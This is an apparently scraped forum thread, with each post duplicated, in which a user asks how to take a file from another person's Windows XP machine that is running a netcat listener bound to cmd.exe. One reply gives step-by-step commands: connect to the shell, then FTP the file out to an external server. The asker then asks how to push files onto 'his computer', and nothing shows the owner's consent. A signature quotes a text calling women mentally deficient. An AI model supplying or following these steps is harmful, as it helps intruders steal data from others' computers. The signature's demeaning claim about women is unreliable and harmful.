netcat file transfer
Page 1 of 2 12 LastLast
Results 1 to 10 of 16

Thread: netcat file transfer

  1. #1
    Junior Member
    Join Date
    Dec 2002
    Posts
    25

    netcat file transfer

    I've a little question.
    suppose someone (using windows XP) has running netcat as a listener:
    nc -L -d -p 4644 -e cmd.exe
    and, suppose I want a file on the c:\temp\ directory of this person,
    how can I grab the file (I'm also using windows XP)

  2. #2
    Junior Member
    Join Date
    Dec 2002
    Posts
    25

    netcat file transfer

    I've a little question.
    suppose someone (using windows XP) has running netcat as a listener:
    nc -L -d -p 4644 -e cmd.exe
    and, suppose I want a file on the c:\temp\ directory of this person,
    how can I grab the file (I'm also using windows XP)

  3. #3
    Senior Member br_fusion's Avatar
    Join Date
    Apr 2002
    Posts
    167
    The only thing I can think of is to do a "net share" cmd. Share the temp dir on the remote computer. Then run a net use "drive letter" "pathname". Once this is done, you might(and I mean might) be able to access this new drive. Just hopefully this remote computer has port 135 and 139 open.

    I might be completely wrong with what I said above, if someone can, correct me.

  4. #4
    Senior Member br_fusion's Avatar
    Join Date
    Apr 2002
    Posts
    167
    The only thing I can think of is to do a "net share" cmd. Share the temp dir on the remote computer. Then run a net use "drive letter" "pathname". Once this is done, you might(and I mean might) be able to access this new drive. Just hopefully this remote computer has port 135 and 139 open.

    I might be completely wrong with what I said above, if someone can, correct me.

  5. #5
    Senior Member
    Join Date
    Nov 2001
    Posts
    4,786
    nc -vv <address> 4644 or telnet <address> 4644

    after you get a cmd shell just ftp the file you want to an ftp server and get it from there:

    C:\>cd temp
    C:\temp>ftp <address>
    User (<address>:(none)):anonymous
    Password: bg@ms.com
    ftp>put <file>
    ftp>bye
    C:\temp>exit


    it dosn't matter what os your using your shell is on the nc servers machine
    Bukhari:V3B48N826 “The Prophet said, ‘Isn’t the witness of a woman equal to half of that of a man?’ The women said, ‘Yes.’ He said, ‘This is because of the deficiency of a woman’s mind.’”

  6. #6
    Senior Member
    Join Date
    Nov 2001
    Posts
    4,786
    nc -vv <address> 4644 or telnet <address> 4644

    after you get a cmd shell just ftp the file you want to an ftp server and get it from there:

    C:\>cd temp
    C:\temp>ftp <address>
    User (<address>:(none)):anonymous
    Password: bg@ms.com
    ftp>put <file>
    ftp>bye
    C:\temp>exit


    it dosn't matter what os your using your shell is on the nc servers machine
    Bukhari:V3B48N826 “The Prophet said, ‘Isn’t the witness of a woman equal to half of that of a man?’ The women said, ‘Yes.’ He said, ‘This is because of the deficiency of a woman’s mind.’”

  7. #7
    Senior Member
    Join Date
    Sep 2001
    Posts
    144
    this site might help..

    even lists a way to transfer files..
    http://www.sans.org/rr/audit/netcat.php

  8. #8
    Senior Member
    Join Date
    Sep 2001
    Posts
    144
    this site might help..

    even lists a way to transfer files..
    http://www.sans.org/rr/audit/netcat.php

  9. #9
    Junior Member
    Join Date
    Dec 2002
    Posts
    25
    thanks, you were all very helpfull,especially tedob1.
    Is it btw also possible to ftp files from my computer to his computer (again: knowing that the
    only thing a have is a netcat-listener on his computer).
    greetz

  10. #10
    Junior Member
    Join Date
    Dec 2002
    Posts
    25
    thanks, you were all very helpfull,especially tedob1.
    Is it btw also possible to ftp files from my computer to his computer (again: knowing that the
    only thing a have is a netcat-listener on his computer).
    greetz

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •